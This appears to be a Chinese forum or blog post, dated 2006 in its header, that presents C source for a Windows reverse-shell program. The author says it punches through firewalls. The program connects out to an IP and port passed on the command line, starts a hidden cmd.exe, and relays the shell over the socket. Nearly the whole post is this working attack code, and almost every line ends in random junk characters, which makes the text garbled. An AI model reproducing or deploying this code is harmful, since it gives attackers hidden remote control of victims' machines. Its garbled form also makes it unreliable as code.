Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 |V{'W-` |[  
\;x+KD  
/* ============================== :70cOt~Z  
Rebound port in Windows NT -fu=RR  
By wind,2006/7 SesJg~8  
===============================*/ %RgCU$s[>  
#include c
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#include C.dN)?O  
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#pragma comment(lib,"wsock32.lib") kBd #=J
 
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void OutputShell(); Jq)!)={  
SOCKET sClient; #imMkvx?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {,p<!Jq~G  
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void main(int argc,char **argv) s 
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{ 3e$&rp
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WSADATA stWsaData; yjZxD[ Z  
int nRet; HgY"nrogt$  
SOCKADDR_IN stSaiClient,stSaiServer; dE2(PQb*P  
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if(argc != 3) `-S6g^Y  
{ w@Ut[ ;6^  
printf("Useage:\n\rRebound DestIP DestPort\n"); )}\T~#Q]y  
return; +.MHI  
} Gc}d#oo*k  
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WSAStartup(MAKEWORD(2,2),&stWsaData); :M(%sv</  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <\@JbL*  
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stSaiClient.sin_family = AF_INET; uZ*;
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stSaiClient.sin_port = htons(0); niY9`8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nb0V~W  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +avu&2B  
{ rwr>43S5<3  
printf("Bind Socket Failed!\n"); _O~DJ"  
return; k0.|%0?K  
} dC;@ Fn  
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stSaiServer.sin_family = AF_INET; Hw[u Sv8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8)3g!3S  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lCg'K(|"  
{ e"P>b? OY  
printf("Connect Error!"); :
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return; !u@e^J{Ao  
} 4)ez0[i$X  
OutputShell(); %c)^8k;I  
} )2C`;\/:  
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void OutputShell() QcG4~DEX
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{ ^.
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char szBuff[1024]; <hgt{b4  
SECURITY_ATTRIBUTES stSecurityAttributes; iqURlI);P  
OSVERSIONINFO stOsversionInfo; ?)k;.<6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K"-.K]O8E%  
STARTUPINFO stStartupInfo; +|MHiC  
char *szShell; ?"[b408-  
PROCESS_INFORMATION stProcessInformation; 8@ck" LUzD  
unsigned long lBytesRead; Im i)YC  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;muxIr`?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OF'y]W&  
stSecurityAttributes.lpSecurityDescriptor = 0; |]sh*<:?,  
stSecurityAttributes.bInheritHandle = TRUE; }6MHIr=o  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s,O:l0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^2}0lP|  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^@e4mO  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U~QIO O  
stStartupInfo.wShowWindow = SW_HIDE; 21x?TZa  
stStartupInfo.hStdInput = hReadPipe; 'v iF8?_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4JSf t t  
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GetVersionEx(&stOsversionInfo); -R@mnG 5  
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switch(stOsversionInfo.dwPlatformId) S*<+vIo  
{ ={y Mk  
case 1: Z}6
  
szShell = "command.com"; nn!W-Bsqjh  
break; 6tBL?'pG  
default: H@o3u>}  
szShell = "cmd.exe"; Ge=+0W)&  
break; ;LM`B^Q]s  
} :G\f(2@  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;@xSJqT  
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send(sClient,szMsg,77,0); Cc7PhoPK  
while(1) /pni_-l*  
{ r=lhYn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2.6%?E]  
if(lBytesRead) dq[X:3i  
{ }DiMt4!ZC!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'B0= "7  
send(sClient,szBuff,lBytesRead,0); 5>M6lwS  
} v?Q&06PMRc  
else WZ`u"t^2V  
{ M:i;;)cq  
lBytesRead=recv(sClient,szBuff,1024,0); swEE >=  
if(lBytesRead<=0) break; QyN<o{\FD!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <Uf?7  
} ^"N]i`dIF  
} W=j  
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return; >sk vg  
}